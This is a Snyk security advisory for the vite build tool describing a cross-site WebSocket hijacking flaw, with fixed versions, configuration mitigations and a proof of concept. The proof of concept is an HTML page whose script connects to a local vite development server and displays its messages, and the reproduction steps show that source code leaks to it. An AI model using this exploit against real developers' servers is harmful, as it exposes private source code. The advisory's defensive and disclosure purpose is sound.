Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade vite
to version 4.5.6, 5.4.12, 6.0.9 or higher.
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Origin Validation Error due to default CORS settings and lack of validation on the Origin
header for WebSocket connections, making any websites able to send any requests to the development server and read the response. An attacker can intercept and manipulate requests by sending crafted WebSocket requests from unauthorized origins.
Note:
Additionally to upgrading to a fixed version, the following configurations need to be made to fix the vulnerability:
If the backend integration feature is used and server.origin
is not set, the origin of the backend server needs to be added to the server.cors.origin
option. Make sure to set a specific origin rather than *
, otherwise any origin can access your development server;
If a reverse proxy is used in front of Vite and requests are sent to Vite with a hostname other than localhost
or *.localhost
, the hostname needs to be added to the new server.allowedHosts
option. For example, if the reverse proxy is sending requests to http://vite:5173
, vite
needs to be added to the server.allowedHosts
option;
If the development server is accessed via a domain other than localhost
or *.localhost
the hostname needs to be added to the new server.allowedHosts
option. For example, if you are accessing the development server via http://foo.example.com:8080
, you need to add foo.example.com
to the server.allowedHosts
option;
If a plugin / framework is used that connects to the WebSocket server on their own from the browser and the WebSocket connection appears not to be working after upgrading to a fixed version, it is recommended to either fix the plugin / framework code to the make it compatible with the new version or to set legacy.skipWebSocketTokenCheck: true
to opt-out the fix for "Lack of validation on the Origin header for WebSocket connections" while the plugin / framework is incompatible with the new version of Vite. When enabling this option, make sure that you are aware of the security implications of this vulnerability.
This vulnerability can be partially mitigated by:
Setting server.cors
to false or limiting server.cors.origin
to trusted origins;
Using Chrome 94+ or using HTTPS for the development server.
npm create vite@latest my-vue-app-react -- --template react
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
npm run dev
Load the development server (open http://localhost:5173/
) as well as the malicious page in the browser;
Edit src/App.jsx
file and intentionally place a syntax error;
Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed.